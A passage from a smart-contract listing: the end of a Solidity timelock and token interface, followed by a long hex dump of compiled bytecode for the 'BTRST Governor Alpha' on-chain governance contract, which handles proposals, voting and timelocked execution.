signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface BTRSTInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
0x60806040526004361061019c5760003560e01c80634634c61f116100ec578063d33219b41161008a578063ddf0b00911610064578063ddf0b009146105b1578063deaaa7cc146105da578063e23a9a5214610605578063fe0d94c1146106425761019c565b8063d33219b41461051e578063da35c66414610549578063da95691a146105745761019c565b806386ed23e2116100c657806386ed23e21461048857806391500671146104b3578063b58131b0146104dc578063b9a61961146105075761019c565b80634634c61f1461041d578063760fbc13146104465780637bdbe4d01461045d5761019c565b806321f43e42116101595780633932abb1116101335780633932abb1146103615780633e4f49e61461038c57806340e58ee5146103c9578063452a9320146103f25761019c565b806321f43e42146102cd57806324bc1a64146102f6578063328dd982146103215761019c565b8063013cf08b146101a157806302a251a3146101e657806306fdde031461021157806315373e3d1461023c57806317977c611461026557806320606b70146102a2575b600080fd5b3480156101ad57600080fd5b506101c860048036036101c39190810190613382565b61065e565b6040516101dd99989796959493929190614c7d565b60405180910390f35b3480156101f257600080fd5b506101fb6106e6565b6040516102089190614bb2565b60405180910390f35b34801561021d57600080fd5b50610226610706565b60405161023391906148d5565b60405180910390f35b34801561024857600080fd5b50610263600480360361025e9190810190613410565b61073f565b005b34801561027157600080fd5b5061028c6004803603610287919081019061319b565b61074e565b6040516102999190614bb2565b60405180910390f35b3480156102ae57600080fd5b506102b7610766565b6040516102c491906147a8565b60405180910390f35b3480156102d957600080fd5b506102f460048036036102ef91908101906131c4565b61077d565b005b34801561030257600080fd5b5061030b61090c565b6040516103189190614bb2565b60405180910390f35b34801561032d57600080fd5b5061034860048036036103439190810190613382565b610916565b6040516103589493929190614747565b60405180910390f35b34801561036d57600080fd5b50610376610bf3565b6040516103839190614bb2565b60405180910390f35b34801561039857600080fd5b506103b360048036036103ae9190810190613382565b610bfc565b6040516103c091906148ba565b60405180910390f35b3480156103d557600080fd5b506103f060048036036103eb9190810190613382565b610de1565b005b3480156103fe57600080fd5b5061040761117e565b6040516104149190614574565b60405180910390f35b34801561042957600080fd5b50610444600480360361043f919081019061344c565b6111a4565b005b34801561045257600080fd5b5061045b611373565b005b34801561046957600080fd5b50610472611447565b60405161047f9190614bb2565b60405180910390f35b34801561049457600080fd5b5061049d611450565b6040516104aa9190614884565b60405180910390f35b3480156104bf57600080fd5b506104da60048036036104d591908101906131c4565b611476565b005b3480156104e857600080fd5b506104f1611600565b6040516104fe9190614bb2565b60405180910390f35b34801561051357600080fd5b5061051c611609565b005b34801561052a57600080fd5b5061053361171d565b604051610540919061489f565b60405180910390f35b34801561055557600080fd5b5061055e611743565b60405161056b9190614bb2565b60405180910390f35b34801561058057600080fd5b5061059b60048036036105969190810190613200565b611749565b6040516105a89190614bb2565b60405180910390f35b3480156105bd57600080fd5b506105d860048036036105d39190810190613382565b611d16565b005b3480156105e657600080fd5b506105ef612066565b6040516105fc91906147a8565b60405180910390f35b34801561061157600080fd5b5061062c600480360361062791908101906133d4565b61207d565b6040516106399190614b97565b60405180910390f35b61065c60048036036106579190810190613382565b61215f565b005b60066020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b6000600260009054906101000a900463ffffffff1663ffffffff16905090565b6040518060400160405280601481526020017f425452535420476f7665726e6f7220416c70686100000000000000000000000081525081565b61074a3383836123ad565b5050565b60076020528060005260406000206000915090505481565b6040516107729061454a565b604051809103902081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461080d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080490614957565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016108819190614574565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016108b094939291906145b8565b600060405180830381600087803b1580156108ca57600080fd5b505af11580156108de573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506109079190810190613341565b505050565b6000600154905090565b606080606080600060066000878152602001908152602001600020905080600301816004018260050183600601838054806020026020016040519081016040528092919081815260200182805480156109c457602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161097a575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610a1657602002820191906000526020600020905b815481526020019060010190808311610a02575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610afa578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ae65780601f10610abb57610100808354040283529160200191610ae6565b820191906000526020600020905b815481529060010190602001808311610ac957829003601f168201915b505050505081526020019060010190610a3e565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610bdd578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bc95780601f10610b9e57610100808354040283529160200191610bc9565b820191906000526020600020905b815481529060010190602001808311610bac57829003601f168201915b505050505081526020019060010190610b21565b5050505090509450945094509450509193509193565b60006001905090565b60008160055410158015610c105750600082115b610c4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4690614977565b60405180910390fd5b600060066000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610c87576002915050610ddc565b80600701544311610c9c576000915050610ddc565b80600801544311610cb1576001915050610ddc565b80600a01548160090154111580610cd25750610ccb61090c565b8160090154105b15610ce1576003915050610ddc565b600081600201541415610cf8576004915050610ddc565b80600b0160019054906101000a900460ff1615610d19576007915050610ddc565b610dc68160020154600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8957600080fd5b505afa158015610d9d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610dc191908101906133ab565b61267c565b4210610dd6576006915050610ddc565b60059150505b919050565b6000610dec82610bfc565b9050600780811115610dfa57fe5b816007811115610e0657fe5b1415610e47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3e90614b17565b60405180910390fd5b6000600660008481526020019081526020016000209050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fa85750610ebd611600565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18360010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f2b4360016126d1565b6040518363ffffffff1660e01b8152600401610f48929190614617565b60206040518083038186803b158015610f6057600080fd5b505afa158015610f74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610f9891908101906134c3565b6bffffffffffffffffffffffff16105b610fe7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fde90614a57565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b816003018054905081101561114157600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe83600301838154811061106657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460040184815481106110a057fe5b90600052602060002001548560050185815481106110ba57fe5b906000526020600020018660060186815481106110d357fe5b9060005260206000200187600201546040518663ffffffff1660e01b81526004016111029594939291906146e6565b600060405180830381600087803b15801561111c57600080fd5b505af1158015611130573d6000803e3d6000fd5b50505050808060010191505061100a565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c836040516111719190614bb2565b60405180910390a1505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006040516111b29061454a565b60405180910390206040518060400160405280601481526020017f425452535420476f7665726e6f7220416c706861000000000000000000000000815250805190602001206111ff612721565b3060405160200161121394939291906147c3565b60405160208183030381529060405280519060200120905060006040516112399061455f565b6040518091039020878760405160200161125593929190614808565b60405160208183030381529060405280519060200120905060008282604051602001611282929190614513565b6040516020818303038152906040528051906020012090506000600182888888604051600081526020016040526040516112bf949392919061483f565b6020604051602081039080840390855afa1580156112e1573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561135d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135490614ad7565b60405180910390fd5b611368818a8a6123ad565b505050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113fa90614b77565b60405180910390fd5b6000600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600a905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd906149d7565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f901600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008560405160200161157a9190614574565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016115a994939291906145b8565b602060405180830381600087803b1580156115c357600080fd5b505af11580156115d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506115fb9190810190613318565b505050565b60008054905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611690906148f7565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561170357600080fd5b505af1158015611717573d6000803e3d6000fd5b50505050565b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b6000611753611600565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe13361179d4360016126d1565b6040518363ffffffff1660e01b81526004016117ba92919061458f565b60206040518083038186803b1580156117d257600080fd5b505afa1580156117e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061180a91908101906134c3565b6bffffffffffffffffffffffff1611611858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184f90614ab7565b60405180910390fd5b8451865114801561186a575083518651145b8015611877575082518651145b6118b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ad90614a37565b60405180910390fd5b6000865114156118fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f290614a97565b60405180910390fd5b611903611447565b86511115611946576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193d906149f7565b60405180910390fd5b6000600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008114611a5557600061199d82610bfc565b9050600160078111156119ac57fe5b8160078111156119b857fe5b14156119f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f090614af7565b60405180910390fd5b60006007811115611a0657fe5b816007811115611a1257fe5b1415611a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4a906149b7565b60405180910390fd5b505b6000611a6843611a63610bf3565b61267c565b90506000611a7d82611a786106e6565b61267c565b9050600560008154809291906001019190505550611a99612904565b604051806101a0016040528060055481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060066000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611ba3929190612986565b506080820151816004019080519060200190611bc0929190612a10565b5060a0820151816005019080519060200190611bdd929190612a5d565b5060c0820151816006019080519060200190611bfa929190612abd565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160076000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051611cfa99989796959493929190614bcd565b60405180910390a1806000015194505050505095945050505050565b60046007811115611d2357fe5b611d2c82610bfc565b6007811115611d3757fe5b14611d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6e90614917565b60405180910390fd5b60006006600083815260200190815260200160002090506000611e3942600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b158015611dfc57600080fd5b505afa158015611e10573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e3491908101906133ab565b61267c565b905060008090505b826003018054905081101561201e57612011836003018281548110611e6257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846004018381548110611e9c57fe5b9060005260206000200154856005018481548110611eb657fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611f545780601f10611f2957610100808354040283529160200191611f54565b820191906000526020600020905b815481529060010190602001808311611f3757829003601f168201915b5050505050866006018581548110611f6857fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156120065780601f10611fdb57610100808354040283529160200191612006565b820191906000526020600020905b815481529060010190602001808311611fe957829003601f168201915b50505050508661272e565b8080600101915050611e41565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28928382604051612059929190614d0a565b60405180910390a1505050565b6040516120729061455f565b604051809103902081565b612085612b1d565b60066000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b6005600781111561216c57fe5b61217582610bfc565b600781111561218057fe5b146121c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b790614937565b60405180910390fd5b6000600660008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b816003018054905081101561237157600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f83600401838154811061225657fe5b906000526020600020015484600301848154811061227057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168560040185815481106122aa57fe5b90600052602060002001548660050186815481106122c457fe5b906000526020600020018760060187815481106122dd57fe5b9060005260206000200188600201546040518763ffffffff1660e01b815260040161230c9594939291906146e6565b6000604051808303818588803b15801561232557600080fd5b505af1158015612339573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f820116820180604052506123639190810190613341565b5080806001019150506121fa565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f826040516123a19190614bb2565b60405180910390a15050565b600160078111156123ba57fe5b6123c383610bfc565b60078111156123ce57fe5b1461240e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240590614b37565b60405180910390fd5b6000600660008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff161515146124c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b990614997565b60405180910390fd5b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401612525929190614617565b60206040518083038186803b15801561253d57600080fd5b505afa158015612551573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061257591908101906134c3565b905083156125a6576125998360090154826bffffffffffffffffffffffff1661267c565b83600901819055506125cb565b6125c283600a0154826bffffffffffffffffffffffff1661267c565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c468686868460405161266c9493929190614640565b60405180910390a1505050505050565b6000808284019050838110156126c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126be90614a17565b60405180910390fd5b8091505092915050565b600082821115612716576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161270d90614b57565b60405180910390fd5b818303905092915050565b6000804690508091505090565b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001612785959493929190614685565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b81526004016127b791906147a8565b60206040518083038186803b1580156127cf57600080fd5b505afa1580156127e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061280791908101906132ef565b15612847576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161283e90614a77565b60405180910390fd5b600260049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b81526004016128aa959493929190614685565b602060405180830381600087803b1580156128c457600080fd5b505af11580156128d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506128fc9190810190613318565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b8280548282559060005260206000209081019282156129ff579160200282015b828111156129fe5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550916020019190600101906129a6565b5b509050612a0c9190612b50565b5090565b828054828255906000526020600020908101928215612a4c579160200282015b82811115612a4b578251825591602001919060010190612a30565b5b509050612a599190612b93565b5090565b828054828255906000526020600020908101928215612aac579160200282015b82811115612aab578251829080519060200190612a9b929190612bb8565b5091602001919060010190612a7d565b5b509050612ab99190612c38565b5090565b828054828255906000526020600020908101928215612b0c579160200282015b82811115612b0b578251829080519060200190612afb929190612c64565b5091602001919060010190612add565b5b509050612b199190612ce4565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b612b9091905b80821115612b8c57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905550600101612b56565b5090565b90565b612bb591905b80821115612bb1576000816000905550600101612b99565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612bf957805160ff1916838001178555612c27565b82800160010185558215612c27579182015b82811115612c26578251825591602001919060010190612c0b565b5b509050612c349190612b93565b5090565b612c6191905b80821115612c5d5760008181612c549190612d10565b50600101612c3e565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612ca557805160ff1916838001178555612cd3565b82800160010185558215612cd3579182015b82811115612cd2578251825591602001919060010190612cb7565b5b509050612ce09190612b93565b5090565b612d0d91905b80821115612d095760008181612d009190612d58565b50600101612cea565b5090565b90565b50805460018160011615610100020316600290046000825580601f10612d365750612d55565b601f016020900490600052602060002090810190612d549190612b93565b5b50565b50805460018160011615610100020316600290046000825580601f10612d7e5750612d9d565b601f016020900490600052602060002090810190612d9c9190612b93565b5b50565b600081359050612daf816151e1565b92915050565b600082601f830112612dc657600080fd5b8135612dd9612dd482614d60565b614d33565b91508181835260208401935060208101905083856020840282011115612dfe57600080fd5b60005b83811015612e2e5781612e148882612da0565b845260208401935060208301925050600181019050612e01565b5050505092915050565b600082601f830112612e4957600080fd5b8135612e5c612e5782614d88565b614d33565b9150818183526020840193506020810190508360005b83811015612ea25781358601612e888882612ff7565b845260208401935060208301925050600181019050612e72565b5050505092915050565b600082601f830112612ebd57600080fd5b8135612ed0612ecb82614db0565b614d33565b9150818183526020840193506020810190508360005b83811015612f165781358601612efc888261309f565b845260208401935060208301925050600181019050612ee6565b5050505092915050565b600082601f830112612f3157600080fd5b8135612f44612f3f82614dd8565b614d33565b91508181835260208401935060208101905083856020840282011115612f6957600080fd5b60005b83811015612f995781612f7f8882613147565b845260208401935060208301925050600181019050612f6c565b5050505092915050565b600081359050612fb2816151f8565b92915050565b600081519050612fc7816151f8565b92915050565b600081359050612fdc8161520f565b92915050565b600081519050612ff18161520f565b92915050565b600082601f83011261300857600080fd5b813561301b61301682614e00565b614d33565b9150808252602083016020830185838301111561303757600080fd5b613042838284615177565b50505092915050565b600082601f83011261305c57600080fd5b815161306f61306a82614e2c565b614d33565b9150808252602083016020830185838301111561308b57600080fd5b613096838284615186565b50505092915050565b600082601f8301126130b057600080fd5b81356130c36130be82614e58565b614d33565b915080825260208301602083018583830111156130df57600080fd5b6130ea838284615177565b50505092915050565b600082601f83011261310457600080fd5b813561311761311282614e84565b614d33565b9150808252602083016020830185838301111561313357600080fd5b61313e838284615177565b50505092915050565b60008135905061315681615226565b92915050565b60008151905061316b81615226565b92915050565b6000813590506131808161523d565b92915050565b60008151905061319581615254565b92915050565b6000602082840312156131ad57600080fd5b60006131bb84828501612da0565b91505092915050565b600080604083850312156131d757600080fd5b60006131e585828601612da0565b92505060206131f685828601613147565b9150509250929050565b600080600080600060a0868803121561321857600080fd5b600086013567ffffffffffffffff81111561323257600080fd5b61323e88828901612db5565b955050602086013567ffffffffffffffff81111561325b57600080fd5b61326788828901612f20565b945050604086013567ffffffffffffffff81111561328457600080fd5b61329088828901612eac565b935050606086013567ffffffffffffffff8111156132ad57600080fd5b6132b988828901612e38565b925050608086013567ffffffffffffffff8111156132d657600080fd5b6132e2888289016130f3565b9150509295509295909350565b60006020828403121561330157600080fd5b600061330f84828501612fb8565b91505092915050565b60006020828403121561332a57600080fd5b600061333884828501612fe2565b91505092915050565b60006020828403121561335357600080fd5b600082015167ffffffffffffffff81111561336d57600080fd5b6133798482850161304b565b91505092915050565b60006020828403121561339457600080fd5b60006133a284828501613147565b91505092915050565b6000602082840312156133bd57600080fd5b60006133cb8482850161315c565b91505092915050565b600080604083850312156133e757600080fd5b60006133f585828601613147565b925050602061340685828601612da0565b9150509250929050565b6000806040838503121561342357600080fd5b600061343185828601613147565b925050602061344285828601612fa3565b9150509250929050565b600080600080600060a0868803121561346457600080fd5b600061347288828901613147565b955050602061348388828901612fa3565b945050604061349488828901613171565b93505060606134a588828901612fcd565b92505060806134b688828901612fcd565b9150509295509295909350565b6000602082840312156134d557600080fd5b60006134e384828501613186565b91505092915050565b60006134f88383613553565b60208301905092915050565b60006135108383613794565b905092915050565b600061352483836138d1565b905092915050565b600061353883836144c8565b60208301905092915050565b61354d816150c3565b82525050565b61355c81615039565b82525050565b61356b81615039565b82525050565b600061357c82614f1a565b6135868185614fa6565b935061359183614eb0565b8060005b838110156135c25781516135a988826134ec565b97506135b483614f72565b925050600181019050613595565b5085935050505092915050565b60006135da82614f25565b6135e48185614fb7565b9350836020820285016135f685614ec0565b8060005b8581101561363257848403895281516136138582613504565b945061361e83614f7f565b925060208a019950506001810190506135fa565b50829750879550505050505092915050565b600061364f82614f30565b6136598185614fc8565b93508360208202850161366b85614ed0565b8060005b858110156136a757848403895281516136888582613518565b945061369383614f8c565b925060208a0199505060018101905061366f565b50829750879550505050505092915050565b60006136c482614f3b565b6136ce8185614fd9565b93506136d983614ee0565b8060005b8381101561370a5781516136f1888261352c565b97506136fc83614f99565b9250506001810190506136dd565b5085935050505092915050565b6137208161504b565b82525050565b61372f8161504b565b82525050565b61373e81615057565b82525050565b61375561375082615057565b6151b9565b82525050565b600061376682614f51565b6137708185614ffb565b9350613780818560208601615186565b613789816151c3565b840191505092915050565b600061379f82614f46565b6137a98185614fea565b93506137b9818560208601615186565b6137c2816151c3565b840191505092915050565b6000815460018116600081146137ea576001811461381057613854565b607f60028304166137fb8187614ffb565b955060ff198316865260208601935050613854565b6002820461381e8187614ffb565b955061382985614ef0565b60005b8281101561384b5781548189015260018201915060208101905061382c565b80880195505050505b505092915050565b613865816150d5565b82525050565b613874816150f9565b82525050565b6138838161511d565b82525050565b6138928161512f565b82525050565b60006138a382614f67565b6138ad818561501d565b93506138bd818560208601615186565b6138c6816151c3565b840191505092915050565b60006138dc82614f5c565b6138e6818561500c565b93506138f6818560208601615186565b6138ff816151c3565b840191505092915050565b600061391582614f5c565b61391f818561501d565b935061392f818560208601615186565b613938816151c3565b840191505092915050565b6000815460018116600081146139605760018114613986576139ca565b607f6002830416613971818761501d565b955060ff1983168652602086019350506139ca565b60028204613994818761501d565b955061399f85614f05565b60005b828110156139c1578154818901526001820191506020810190506139a2565b80880195505050505b505092915050565b60006139df60398361501d565b91507f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560008301527f6e646572206d75737420626520676f7620677561726469616e000000000000006020830152604082019050919050565b6000613a4560448361501d565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613ad160458361501d565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000613b5d60028361502e565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b6000613b9d604c8361501d565b91507f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60008301527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060208301527f676f7620677561726469616e00000000000000000000000000000000000000006040830152606082019050919050565b6000613c2960188361501d565b91507f73657450656e64696e6741646d696e28616464726573732900000000000000006000830152602082019050919050565b6000613c6960298361501d565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b6000613ccf602d8361501d565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b6000613d3560598361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b6000613dc1604a8361501d565b91507f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360008301527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f60208301527f7620677561726469616e000000000000000000000000000000000000000000006040830152606082019050919050565b6000613e4d60288361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b6000613eb360118361501d565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b6000613ef360438361502e565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b6000613f7f60278361502e565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b6000613fe560448361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614071602f8361501d565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b60006140d760448361501d565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b6000614163602c8361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b60006141c9603f8361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b600061422f602f8361501d565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b600061429560588361501d565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b600061432160368361501d565b91507f476f7665726e6f72416c7